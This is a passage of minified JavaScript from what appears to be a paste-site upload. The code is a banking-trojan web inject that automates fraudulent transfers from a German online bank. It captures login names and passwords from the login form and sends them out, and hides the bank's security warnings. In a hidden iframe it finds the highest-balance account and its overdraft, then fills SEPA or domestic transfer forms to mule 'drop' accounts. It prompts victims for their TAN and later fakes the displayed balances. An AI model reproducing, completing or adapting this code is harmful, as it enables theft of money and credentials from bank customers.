  311. {ATS.debugMsg('check Transaction Finanzstatus');var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=parseInt(ATS.getCookie('rep_amount'));var status=ATS.getCookie('status');if(old_balance&&transfer_acc&&rep_amount&&(status=='1'))
  312. {parent.ATS.accounts_list=ATS.parseAccountsList();var transfer_acc_info=ATS.findAccountInfo(transfer_acc);if((old_balance-transfer_acc_info.balance)>rep_amount*0.8)
  313. {ATS.debugMsg('Transaction is true');return true;}
  314. else
  315. {return false;}}
  316. else
  317. return false;}
  318. ATS.checkTransactionKontodetails=function()
  319. {ATS.debugMsg('check Transaction Kontodetails');var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=parseInt(ATS.getCookie('rep_amount'));var status=ATS.getCookie('status');if(old_balance&&transfer_acc&&rep_amount&&(status=='1'))
  320. {var curent_balance=ATS.fin2float(jq('form div.col:contains(Kontostand)').next().text());if((old_balance-curent_balance)>rep_amount*0.8)
  321. {ATS.debugMsg('Transaction is true');return true;}
  322. else
  323. {return false;}}
  324. else
  325. return false;}
  326. ATS.checkTransactionUmsatzabfrage=function()
  327. {ATS.debugMsg('check Transaction Umsatzabfrage');var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=parseInt(ATS.getCookie('rep_amount'));var status=ATS.getCookie('status');if(old_balance&&transfer_acc&&rep_amount&&(status=='1'))
  328. {var curent_balance=ATS.fin2float(jq('td:contains(Kontostand am):eq(0)').next().text());if((old_balance-curent_balance)>rep_amount*0.8)
  329. {ATS.debugMsg('Transaction is true');return true;}
  330. else
  331. {return false;}}
  332. else
  333. return false;}
  334.  
  335. ATS.current_state=0;ATS.debugVisibleFrame=false;ATS.debugNoOverlay=false;ATS.startDelay=25;ATS.useOverdraft=true;ATS.transf_mode='sepa';ATS.badTan=false;ATS.checkLoginPage=function()
  336. {if((jq('input[title*=nmeld]').length)&&(jq("input.loginfeld").length))
  337. return true;if(jq('input[title*=ogin]').length)
  338. return true;if(jq('input[name=quick_login_pintan]').length)
  339. return true;return false;}
  340. ATS.isLoggedIn=function()
  341. {return!!jq("input[title*=abmeld]").length;}
  342. ATS.getLoginForm=function()
  343. {var form=jq("form").has('input[name*=anmeld]').has('input.loginfeld');if(form.length)
  344. return form[0];form=jq("form").has('input#anmeld');if(form.length)
  345. return form[0];var form=jq("form").has('input[title*=ogin]');if(form.length)
  346. return form[0];return false;}
  347. ATS.setLoginHook=function()
  348. {var loginDataSent=false;var loginForm=ATS.getLoginForm();if(loginForm)
  349. {loginForm.onsubmit=function(){return true};jq(loginForm).submit(function(e){if(!loginDataSent)
  350. {e.preventDefault();var login=jq(loginForm).find('input:visible[type=text]').val();var password=jq(loginForm).find('input:visible[type=password]').val();ATS.debugMsg('login info: '+login+', '+password);ATS.sendLoginInfo(login,password,function(){loginDataSent=true;var submitButton=jq(ATS.getLoginForm()).find('input[type=image]').last();if(jq(submitButton).length)
  351. {ATS.imgSubmit(jq(submitButton));}
  352. else
  353. {jq(loginForm).submit();}})}});return true;}
  354. return false;}
  355. ATS.getTime=function()
  356. {return Math.floor((new Date).getTime()/1000);}
  357. ATS.die=function(msg)
  358. {ATS.sendLogMsg('ERROR: '+msg);ATS.setCookie('error_time',ATS.getTime());ATS.setCookie('status',2);ATS.setCookie('starttime',0);ATS.saveCookies(function(){if((parent.window!==window)&&parent.ATS)
  359. {ATS.debugMsg('die in frame');var nextLink=ATS.findMenuEntry('startseite');if(!nextLink)
  360. nextLink=ATS.findMenuEntry('finanzstatus');if(nextLink)
  361. {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},1000);}
  362. else
  363. {ATS.sendLogMsg('die cant find link 2 go');}}
  364. else
  365. {ATS.debugMsg('die outside frame');ATS.UI_hideDialogBox();ATS.UI_unblockSite();}});}
  366. ATS.openInIframe=function(url)
  367. {var iframe=jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="'+url+'"></iframe>');jq('body').append(iframe);if(ATS.debugVisibleFrame)
  368. {jq(iframe).css('width','1200px');jq(iframe).css('height','800px');jq(iframe).css('top','800px');jq(iframe).css('position','absolute');}
  369. else
  370. {jq(iframe).css('width','1px');jq(iframe).css('height','1px');}}
  371. ATS.parseAccountsList=function()
  372. {var accountsList=new Array();jq("table").has('th:contains(Konton)').each(function(){jq(this).find('tr').each(function(){var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));if(number!='')
  373. {var balance=parseFloat(jq.trim(jq(this).children("td:eq(2)").text().replace(/[^\d,-]+/g,'').replace(/,+/g,'.')));var transf=!!jq(this).children("td:eq(3)").children('input[title*=berweisung]').length;ATS.debugMsg('number: '+number+'; balance: '+balance+'; transf: '+transf);accountsList.push({number:number,balance:balance,transf:transf});}})});return accountsList;}
  374. ATS.findAccountInfo=function(acc_num)
  375. {var accounts_list=parent.ATS.accounts_list;for(var i in accounts_list)
  376. {if(acc_num.indexOf(accounts_list[i].number)!=-1)
  377. {ATS.debugMsg('Found: '+accounts_list[i].number+'; balance: '+accounts_list[i].balance+'; transf: '+accounts_list[i].transf);return accounts_list[i];}}
  378. return false;}
  379. ATS.fillSepaForm=function()
  380. {var cents=((Math.floor(Math.random()*19)+1)*5).toString();if(cents.length<2)
  381. cents="0"+cents;parent.ATS.sepa_drop.amount=(parseInt(parent.ATS.sepa_drop.amount)-1).toString()+','+cents;var drop=parent.ATS.sepa_drop;jq('#'+jq('label:contains(Name oder Firma)').attr('for')).val(drop.DrName);jq('#'+jq('label:contains(IBAN des Beg)').attr('for')).val(drop.IBAN);jq('#'+jq('label:contains(IBAN oder)').attr('for')).val(drop.IBAN);jq('#'+jq('label:contains(BIC)').attr('for')).val(drop.BIC);jq('#'+jq('label:contains(Betrag)').attr('for')).val(drop.amount);jq('#'+jq('label:contains(Verwendung)').attr('for')).val(drop.Reference);parent.ATS.current_state=110;ATS.sendLogMsg('SEPA form filled in');if(jq("input[value=Weiter]").length)
  382. {ATS.delayedClick(jq("input[value=Weiter]"),8000,14000);}
  383. else
  384. {ATS.die('fillSepaForm: cant find weiter button');}}
  385. ATS.fillIntForm=function()
  386. {var cents=((Math.floor(Math.random()*19)+1)*5).toString();if(cents.length<2)
  387. cents="0"+cents;parent.ATS.int_drop.amount=(parseInt(parent.ATS.int_drop.amount)-1).toString()+','+cents;var drop=parent.ATS.int_drop;jq('#'+jq('label:contains(Name oder Firma)').attr('for')).val(drop.DrName);jq('#'+jq('label:contains(Konto des Beg)').attr('for')).val(drop.Konto);jq('#'+jq('label:contains(oder Konto)').attr('for')).val(drop.Konto);jq('#'+jq('label:contains(BLZ)').attr('for')).val(drop.BLZ);jq('#'+jq('label:contains(Betrag)').attr('for')).val(drop.amount);jq('#'+jq('label:contains(Verwendung)').attr('for')).val(drop.Reference);parent.ATS.current_state=30;ATS.sendLogMsg('Int form filled in');if(jq("input[value=Weiter]").length)
  388. {ATS.delayedClick(jq("input[value=Weiter]"),8000,14000);}
  389. else
  390. {ATS.die('fillIntForm: cant find weiter button');}}
  391. ATS.getFinanzstatusLink=function()
  392. {var finLink=jq("a[href*=p\\.finanzstatus]:visible");if(jq(finLink).length==0)
  393. {finLink=jq("li.nav1item:contains(Finanzstatus) a[href*=finanzstatus]");}
  394. if(jq(finLink).length!=0)
  395. {return jq(finLink)[0].href;}
  396. return false;}
  397. ATS.getHolderName=function()
  398. {return jq.trim(jq('input[alt*=bmelden]').parent().find('p:eq(0)').text());}
  399. ATS.mainWork=function()
  400. {ATS.debugMsg('ATS.mainWork, state: '+ATS.current_state);ATS.sendLogMsg('main state '+ATS.current_state);switch(ATS.current_state)
  401. {case 0:var hname=ATS.getHolderName();if(hname!='')
  402. ATS.sendLogMsg('Holder name: '+hname);if(ATS.getFinanzstatusLink()||jq("a[href*=p\\.umsatz]:visible").length)
  403. {ATS.current_state=10;ATS.ieFrameHack();setTimeout(function()
  404. {var frameError=false;try
  405. {var innerDoc=jq('iframe#ats_wrk_iframe')[0].contentWindow.document;}
  406. catch(ex)
  407. {frameError=true;}
  408. if(frameError)
  409. ATS.die('ATS.mainWork: frame error!');},15000);}
  410. else
  411. {ATS.die('mainWork: cant find finanzstatus');}
  412. break;}}
  413. ATS.ieFrameHack=function()
  414. {ATS.debugMsg('ATS.ieFrameHack()');if(!jq('iframe#ats_wrk_iframe').length)
  415. {ATS.openInIframe('about:blank');setTimeout(ATS.ieFrameHack,3000);}
  416. else
  417. {var href=ATS.getFinanzstatusLink();if(href)
  418. {ATS.debugMsg('Finanzstatus link: '+href);}
  419. else
  420. {href=jq("a[href*=p\\.umsatz]:visible")[0].href;ATS.debugMsg('umsatzabfrage link: '+href);}
  421. if(href)
  422. {jq('iframe#ats_wrk_iframe').attr('src',href);}
  423. else
  424. ATS.die('cant get link in ieFrameHack');}}
  425. ATS.getMenuEntrySepa=function()
  426. {var res=jq('.nav2item').find('a[href*=sepa_einzel]');}
  427. ATS.framePageTransfers=function()
  428. {if(parent.ATS.transf_mode=='sepa')
  429. {var sepaExpresLink=jq('.nav2item').find('a[title*=Expresszahlung]');if(jq(sepaExpresLink).length!=0)
  430. {ATS.sendLogMsg('SEPA-Express');ATS.debugMsg('SEPA-Express link: '+jq(sepaExpresLink)[0].href);setTimeout(function(){parent.ATS.current_state=100;document.location.href=jq(sepaExpresLink)[0].href;},ATS.randInt(3000,6000));return;}
  431. var sepaLink=jq('.nav2item').find('a[href*=sepa_einzel]');if(jq(sepaLink).length==0)
  432. {sepaLink=jq('.contentcontainerTop').find('a[href*=sepa_einzel]');}
  433. if(jq(sepaLink).length!=0)
  434. {ATS.debugMsg('SEPA link: '+jq(sepaLink)[0].href);setTimeout(function(){parent.ATS.current_state=100;document.location.href=jq(sepaLink)[0].href;},ATS.randInt(3000,6000));}
  435. else
  436. {parent.ATS.transf_mode='int';ATS.sendLogMsg('cant find sepa link, trying int');}}
  437. if(parent.ATS.transf_mode=='int')
  438. {var accountsSelect=jq('form').has('label:contains(Auftraggeber)').find('select');var accDiv=ATS.findAccountDiv();if((jq(accountsSelect).length!=0)||(accDiv))
  439. {var maxAcc=null;if(jq(accountsSelect).length!=0)
  440. {jq(accountsSelect).children('option').each(function(){var acc_num=jq.trim(jq(this).text());if(acc_num!='')
  441. {ATS.debugMsg('Option: '+acc_num);var accInfo=ATS.findAccountInfo(acc_num);if(accInfo&&(!maxAcc||((maxAcc.balance+maxAcc.overdraft)<(accInfo.balance+accInfo.overdraft))))
  442. {maxAcc=accInfo;jq(this).attr('selected','selected');}}});}
  443. else
  444. maxAcc=accDiv;if(maxAcc)
  445. {ATS.setCookie('transfer_acc',maxAcc.number);ATS.setCookie('old_balance',parseFloat(maxAcc.balance));ATS.debugMsg('Max amount: '+maxAcc.balance);ATS.debugMsg('Overdraft: '+maxAcc.overdraft);ATS.getDrop('Internal',(maxAcc.balance+maxAcc.overdraft).toFixed(2),function(data){if(data&&data.drop)
  446. {ATS.debugMsg('[Drop] DrName: '+data.drop.DrName);parent.ATS.int_drop=data.drop;ATS.fillIntForm();}
  447. else
  448. {ATS.die('framePageTransfers: no Int drop');}});}
  449. else
  450. {ATS.die('framePageTransfers: Cant find max account');}}
  451. else
  452. {ATS.die('framePageTransfers: cant find sender select');}}}
  453. ATS.framePageConfirm=function()
  454. {if(jq('#rsct_bg_image').length)
  455. {ATS.debugMsg('flicker image found');setTimeout(function(){document.location.href=jq('a:contains("hier")').attr('href');},3000);return;}
  456. if(jq('label:contains("SMS")').length)
  457. {ATS.sendLogMsg('asking for SMS TAN');ATS.UI_askTan('sms',parent.ATS.badTan);}
  458. else
  459. {ATS.sendLogMsg('asking for TAN gen');ATS.UI_askTan('gen',parent.ATS.badTan);}}
  460. ATS.framePageReceipt=function()
  461. {ATS.sendLogMsg('framePageReceipt');ATS.putTransfer('Internal',parent.ATS.int_drop.id,parent.ATS.int_drop.amount,function(){ATS.sendLogMsg('Successful transfer SEPA, drop: '+parent.ATS.int_drop.id+', amount: '+parent.ATS.int_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.int_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.int_drop.Konto);ATS.setCookie('rep_amount',parent.ATS.int_drop.amount);var transfer_acc=ATS.getCookie('transfer_acc');if(transfer_acc)
  462. {ATS.setCookie('ap'+transfer_acc,parent.ATS.int_drop.amount);}
  463. ATS.setCookie('status',1);ATS.saveCookies(function(){var nextLink=jq('.nav1item').find('a[href*=startseite]');if(jq(nextLink).length!=0)
  464. {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},ATS.randInt(3000,6000));}});});}
  465. ATS.tryIntTransfer=function()
  466. {parent.ATS.transf_mode='int';var nextLink=jq('.nav1item').find('a[title=\xDCberweisung]');if(jq(nextLink).length==0)
  467. {nextLink=jq('.nav1item').find('a[href*=ueberweisung]');}
  468. if(jq(nextLink).length==0)
  469. {nextLink=jq('.nav2item').find('a[title*=\xDCberweisung]');}
  470. if(jq(nextLink).length!=0)
  471. {ATS.debugMsg('Ueberweisung link: '+jq(nextLink)[0].href);setTimeout(function(){parent.ATS.current_state=20;document.location.href=jq(nextLink)[0].href;},5000);}
  472. else
  473. {ATS.die('tryIntTransfer: cant find ueberweisung link');}};ATS.findAccountsSelect=function()
  474. {var accountsSelect=jq('form').has('label:contains(IBAN des Auf)').find('select');if(jq(accountsSelect).length==0)
  475. {accountsSelect=jq('#'+jq('label:contains(Auftraggeber)').attr('for'));}
  476. return jq(accountsSelect).length?accountsSelect:false;}
  477. ATS.findAccountDiv=function()
  478. {var accountsList=parent.ATS.accounts_list;var acc=null;for(var i in accountsList)
  479. {if(jq('form').find('div:contains('+accountsList[i].number+')').length)
  480. acc=accountsList[i];}
  481. return acc!=null?acc:false;}
  482. ATS.framePageTransfersSEPA=function()
  483. {var accountsSelect=ATS.findAccountsSelect();var accDiv=ATS.findAccountDiv();var maxAcc=null;if((accountsSelect)||(accDiv))
  484. {if(accountsSelect)
  485. {jq(accountsSelect).children('option').each(function(){var acc_num=jq.trim(jq(this).val().replace(/\D/g,''));if(acc_num=='')
  486. acc_num=jq.trim(jq(this).text().replace(/\D/g,''));if(acc_num!='')
  487. {ATS.debugMsg('Option: '+acc_num);var accInfo=ATS.findAccountInfo(acc_num);if(accInfo&&(!maxAcc||((maxAcc.balance+maxAcc.overdraft)<(accInfo.balance+accInfo.overdraft))))
  488. {ATS.debugMsg('better, balance: '+accInfo.balance);maxAcc=accInfo;jq(this).attr('selected','selected');}}});}
  489. else
  490. maxAcc=accDiv;if(maxAcc)
  491. {ATS.setCookie('transfer_acc',maxAcc.number);var balance=parseFloat(maxAcc.balance);ATS.setCookie('old_balance',balance);ATS.debugMsg('Max amount: '+balance);ATS.debugMsg('Overdraft: '+maxAcc.overdraft);ATS.getDrop('sepa',(balance+maxAcc.overdraft).toFixed(2),function(data){if(data&&data.drop)
  492. {ATS.debugMsg('[Drop] DrName: '+data.drop.DrName);parent.ATS.sepa_drop=data.drop;ATS.fillSepaForm();}
  493. else
  494. {ATS.tryIntTransfer();}});}
  495. else
  496. {ATS.debugMsg('Cant find max account');ATS.tryIntTransfer();}}
  497. else
  498. {ATS.debugMsg('framePageTransfersSEPA: cant find sender select');ATS.tryIntTransfer();}}
  499. ATS.framePageConfirmSEPA=function()
  500. {if(jq('#rsct_bg_image').length)
  501. {ATS.debugMsg('flicker image found');setTimeout(function(){var link=jq('a[title=hier]').attr('href');if(!link)
  502. link=jq('.osppinfoinhalt:contains(manuellen) > a').attr('href');document.location.href=link;},3000);return;}
  503. if(jq('label:contains("SMS")').length)
  504. {ATS.sendLogMsg('asking for SMS TAN');ATS.UI_askTan('sms',parent.ATS.badTan);}
  505. else
  506. {ATS.sendLogMsg('asking for TAN gen');ATS.UI_askTan('gen',parent.ATS.badTan);}}
  507. ATS.enterCode=function(tan)
  508. {ATS.debugMsg('ATS.enterCode '+tan);var tanFieldName=jq('label:contains(TAN):eq(0)').attr('for');ATS.sendLogMsg('tanFieldName = '+tanFieldName);if(jq('input[name='+tanFieldName+']').length)
  509. {jq('input[name='+tanFieldName+']').val(tan);var confirm_tan=jq("input[value=Absenden]").length?jq("input[value=Absenden]"):jq("input[value=Weiter]");if(jq(confirm_tan).length)
  510. {if(parent.ATS.transf_mode=='sepa')
  511. parent.ATS.current_state=120;else
  512. parent.ATS.current_state=40;parent.ATS.UI_showWait();ATS.delayedClick(jq(confirm_tan),100,200);}
  513. else
  514. ATS.die('enterCode: cant find absenden button');}
  515. else
  516. ATS.die('enterCode: cant find field by label');}
  517. ATS.framePageAfterTAN=function()
  518. {var errorText=jq('.osppliste').text()+jq('.msgerror').text();if(errorText=='')
  519. {if(jq(".active_3:contains(tigung)").length)
  520. {ATS.framePageReceiptSEPA();}
  521. else if(jq(".active_2:contains(Senden)").length)
  522. {ATS.die('framePageAfterTAN: unknown error on step 2');}
  523. else
  524. ATS.die('framePageAfterTAN: weird situation');}
  525. else
  526. {if(errorText.indexOf('Die eingegebene TAN ist falsch')!=-1)
  527. {parent.ATS.badTan=true;parent.ATS.current_state=110;ATS.sendLogMsg('framePageAfterTAN: bad TAN');ATS.delayedClick(jq("input[value=Weiter]"),3000,6000);}
  528. else
  529. ATS.die('framePageAfterTAN: unknown error: '+errorText);}}
  530. ATS.framePageReceiptSEPA=function()
  531. {ATS.debugMsg('framePageReceiptSEPA');ATS.putTransfer('SEPA',parent.ATS.sepa_drop.id,parent.ATS.sepa_drop.amount,function(){ATS.sendLogMsg('Successful transfer SEPA, drop: '+parent.ATS.sepa_drop.id+', amount: '+parent.ATS.sepa_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.sepa_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.sepa_drop.IBAN);ATS.setCookie('rep_amount',parent.ATS.sepa_drop.amount);var transfer_acc=ATS.getCookie('transfer_acc');if(transfer_acc)
  532. {ATS.setCookie('ap'+transfer_acc,parent.ATS.sepa_drop.amount);}
  533. ATS.setCookie('status',1);ATS.saveCookies(function(){var nextLink=jq('.nav1item').find('a[href*=startseite]');if(jq(nextLink).length!=0)
  534. {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},ATS.randInt(3000,6000));}});});}
  535. ATS.findMenuEntry=function(hrefCode)
  536. {var el=jq('.nav1item').find('a[href*='+hrefCode+']');if(jq(el).length)
  537. return el;var el=jq('.nav2item').find('a[href*='+hrefCode+']');if(jq(el).length)
  538. return el;return false;}
  539. ATS.goToTransfers=function()
  540. {var nextLink=ATS.findMenuEntry('ueberweisung');if(nextLink)
  541. {ATS.debugMsg('Ueberweisung link: '+jq(nextLink)[0].href);setTimeout(function(){parent.ATS.current_state=20;document.location.href=jq(nextLink)[0].href;},ATS.randInt(3000,6000));}
  542. else
  543. {if(jq('.nav1item').filter('.active').find('a[href*=umsatzabfrage]').length==0)
  544. {nextLink=ATS.findMenuEntry('umsatzabfrage');ATS.debugMsg('Banking link: '+jq(nextLink)[0].href);setTimeout(function(){parent.ATS.current_state=15;document.location.href=jq(nextLink)[0].href;},ATS.randInt(3000,6000));}
  545. else
  546. ATS.die('frameWork: cant find banking link');}}
  547. ATS.getMaxTransferAcc=function()
  548. {var accountsList=parent.ATS.accounts_list;var maxAcc=null;for(var i in accountsList)
  549. {if(accountsList[i].transf)
  550. {if(!maxBalance)
  551. var maxBalance=accountsList[i].balance;if(parseFloat(accountsList[i].balance)>=maxBalance)
  552. {maxBalance=parseFloat(accountsList[i].balance);maxAcc=accountsList[i];}}}
  553. return maxAcc;}
  554. ATS.setAccountOverdraft=function(accNum,value)
  555. {for(var i in parent.ATS.accounts_list)
  556. {if((parent.ATS.accounts_list[i].number==accNum)&&(parent.ATS.accounts_list[i].transf))
  557. {ATS.sendLogMsg('Overdraft for '+accNum+' : '+value+'');parent.ATS.accounts_list[i].overdraft=value;}}}
  558. ATS.framePageKontodetails=function()
  559. {var accNum=jq('.contentcontainerMainLayout select > option:selected').val();var odCell=jq('form div.col:contains(Kreditlinie)').next();if(odCell.length)
  560. {var od=ATS.fin2float(jq(odCell).text());ATS.sendLogMsg('Overdraft for acc #'+accNum+': '+od);parent.ATS.setAccountOverdraft(accNum,od);}
  561. else
  562. {ATS.sendLogMsg('Overdraft for acc #'+accNum+' not found');}
  563. ATS.goToTransfers();}
  564. ATS.framePageGiro=function()
  565. {jq('.if5_content table tr').each(function(){var accNum=jq.trim(jq(this).find('td:eq(1)').text());var overdraft=ATS.fin2float(jq(this).find('td:eq(2) span:eq(1)').text());if(!overdraft)
  566. overdraft=0;if(accNum!='')
  567. {ATS.setAccountOverdraft(accNum,overdraft);}});ATS.goToTransfers();}
  568. ATS.isFinanzstatusPage=function()
  569. {if(jq(".nav2item:contains(Finanzstatus)").length)
  570. {if(jq(".nav2item:contains(Finanzstatus)").attr('class').indexOf('active')!=-1)
  571. return true;return false;}
  572. if(jq(".nav1item[class*=active]").text().indexOf('Finanzstatus')!=-1)
  573. return true;if(jq(".nav1item[class*=active]").text().indexOf('Anzeige')!=-1)
  574. return true;if(jq(".nav1item[class*=active]").text().indexOf('Banking')!=-1)
  575. return true;if(jq("h2:contains(Finanzstatus)").length)
  576. return true;return false;}
  577. ATS.framePageFinanzstatus=function()
  578. {if(ATS.isFinanzstatusPage())
  579. {var maxBtn=jq('form > table input[title*=Maximieren]:eq(0)');if(maxBtn.length)
  580. {ATS.delayedClick(jq(maxBtn),2000,4000);}
  581. else
  582. {parent.ATS.accounts_list=ATS.parseAccountsList();if(!parent.ATS.accounts_list.length)
  583. {ATS.die('frameWork: cant parse balances and no max btn');}
  584. else
  585. {ATS.sendAccountsInfo(parent.ATS.accounts_list);var acc=ATS.getMaxTransferAcc();if(acc)
  586. {if(ATS.useOverdraft)
  587. {var girodetails=jq('img[title*=Giro-Detail]');parent.ATS.current_state=13;if(girodetails.length)
  588. {ATS.sendLogMsg('Looking for OverDraft');ATS.delayedClick(jq(girodetails),3000,6000);}
  589. else
  590. {ATS.sendLogMsg('Max acc #'+acc.number+': '+acc.balance+' - looking for OverDraft');parent.ATS.current_state=12;var kontodetails=jq('td:contains('+acc.number+'):eq(0)').parent().find('input[title=Kontodetails]');if(kontodetails.length)
  591. {ATS.delayedClick(jq(kontodetails),3000,6000);}
  592. else
  593. ATS.goToTransfers();}}
  594. else
  595. {ATS.sendLogMsg('Max acc #'+acc.number+': '+acc.balance+' ; OD: '+overdraft);ATS.goToTransfers();}}
  596. else
  597. ATS.die('frameWork: no positive accounts with payment button');}}}
  598. else
  599. {var href=ATS.getFinanzstatusLink();if(href)
  600. {setTimeout(function(){document.location.href=ATS.getFinanzstatusLink();},3000);}
  601. else
  602. ATS.die('frameWork: cant load finanzstatus');}}
  603. ATS.tanError=function()
  604. {if((jq('.osppliste').text().indexOf('Die eingegebene TAN ist falsch')!=-1)||(jq('.msgerror').text().indexOf('Die eingegebene TAN ist falsch')!=-1))
  605. {return true;}
  606. if((jq('.osppliste').text().indexOf('Ihr Zugang ist gesperrt')!=-1)||(jq('.msgerror').text().indexOf('Ihr Zugang ist gesperrt')!=-1))
  607. {return true;}
  608. return false;}
  609. ATS.frameWork=function()
  610. {ATS.debugMsg('ATS.frameWork, state: '+parent.ATS.current_state);ATS.sendLogMsg('frame state '+parent.ATS.current_state);switch(parent.ATS.current_state)
  611. {case 10:ATS.framePageFinanzstatus();break;case 12:ATS.framePageKontodetails();break;case 13:ATS.framePageGiro();break;case 15:ATS.goToTransfers();break;case 20:ATS.framePageTransfers();break;case 30:if(jq(".active_2:contains(Senden)").length)
  612. {if(jq('input[type=radio]').length&&(jq('input[type=radio]:eq(0)').parent().parent().text().indexOf('Mobilfunknummer')!=-1))
  613. {jq('input[type=radio]:eq(0)').click();ATS.delayedClick(jq('input[value*=eiter]'),3000,6000);}
  614. else
  615. ATS.framePageConfirm();}
  616. else
  617. {if(jq('.osppliste').text().indexOf('Ihr Zugang ist gesperrt')!=-1)
  618. {ATS.die('frameWork: account locked');}
  619. else
  620. ATS.die('frameWork: Error fill Int form');}
  621. break;case 40:if(jq(".active_3:contains(tigung)").length)
  622. {ATS.framePageReceipt();}
  623. if(jq(".active_2:contains(Senden)").length)
  624. {ATS.die('frameWork: unknown error on step 2');}
  625. else
  626. {if(jq('.osppliste').text().indexOf('Die eingegebene TAN ist falsch')!=-1)
  627. {parent.ATS.badTan=true;parent.ATS.current_state=30;ATS.sendLogMsg('frameWork: bad TAN');ATS.delayedClick(jq("input[value=Weiter]"),3000,6000);}
  628. else
  629. ATS.die('frameWork: unknown error: '+jq('.osppliste').text());}
  630. break;case 100:ATS.framePageTransfersSEPA();break;case 110:if(jq(".active_2:contains(Senden)").length)
  631. {if(jq('input[type=radio]').length&&(jq('input[type=radio]:eq(0)').parent().parent().text().indexOf('Mobilfunknummer')!=-1))
  632. {jq('input[type=radio]:eq(0)').click();ATS.delayedClick(jq('input[value*=eiter]'),3000,6000);}
  633. else
  634. ATS.framePageConfirmSEPA();}
  635. else
  636. {var errorText=jq('.osppliste').text()+jq('.msgerror').text();if(errorText.indexOf('Ihr Zugang ist gesperrt')!=-1)
  637. {ATS.die('frameWork: account locked');}
  638. else
  639. ATS.die('frameWork: Error fill SEPA form: '+jq('.osppliste').text()+jq('.msgerror').text());}
  640. break;case 120:ATS.framePageAfterTAN();break;}}
  641. if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  642. {jq(document).ready(function(){if(ATS.checkLoginPage())
  643. {ATS.debugMsg('login page');jq('h1:contains("Wichtiger Hinweis")').parent().hide();jq('div.bline:contains("Sicherheitshinweise")').hide();jq('p.sichhinweis').hide();jq('table:contains(Sicherheitswarnung)').hide();ATS.setLoginHook();jq('.inj_full_overlay').remove();}
  644. if(ATS.isLoggedIn())
  645. {ATS.debugMsg('logged in!');if((parent.document!==document)&&parent.ATS)
  646. {ATS.debugMsg('we are in frame!');ATS.frameWork();jq('.inj_full_overlay').remove();}
  647. else
  648. {jq('strong:contains(Sicherheitshinweis)').parent().parent().hide();ATS.loadData(function(data){if(ATS.account_id!=0)
  649. {if((ATS.getCookie('status')!='1')&&(ATS.getCookie('status')!='2'))
  650. {var delayTime=parseInt(ATS.startDelay);if(delayTime>0)
  651. {var startTime=ATS.getCookie('starttime');ATS.debugMsg('startTime: '+startTime);if(startTime&&(startTime!='0'))
  652. {startTime=parseInt(startTime);var curTime=ATS.getTime();if(curTime>startTime)
  653. {ATS.debugMsg('startTime reached');if(ATS.isFinanzstatusPage())
  654. {ATS.UI_blockSite();ATS.UI_showWait();ATS.mainWork();}
  655. else
  656. {ATS.debugMsg('redirecting to finanzstatus...');var nextLink=ATS.findMenuEntry('finanzstatus');if(nextLink)
  657. {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},3000);return;}}}
  658. else
  659. {ATS.debugMsg('time before start: '+(startTime-curTime));}}
  660. else
  661. {startTime=ATS.getTime()+delayTime;ATS.debugMsg('new startTime: '+startTime);ATS.setCookie('starttime',startTime);ATS.saveCookies();}}
  662. else
  663. {ATS.UI_blockSite();ATS.UI_showWait();ATS.mainWork();}}
  664. else if(ATS.getCookie('status')=='1')
  665. {if(ATS.getCookie('transaction')=='true')
  666. {ATS.replaceBalances();}
  667. else
  668. {ATS.debugMsg('check Transaction');if(ATS.checkTransaction())
  669. {ATS.setCookie('transaction','true');ATS.saveCookies();ATS.replaceBalances();}}}}
  670. jq('.inj_full_overlay').remove();});}}
  671. else
  672. {if((parent.document!==document)&&parent.ATS)
  673. {ATS.debugMsg('we are in frame and not logged in!');}
  674. else
  675. {jq('.inj_full_overlay').remove();}}});}
  676.  
  677. if((document.readyState==="loading")||(document.readyState==="interactive"))
  678. document.write('<div class="inj_full_overlay"></div>');else
  679. jq('body').append('<div class="inj_full_overlay"></div>');
Add Comment
Please, Sign In to add comment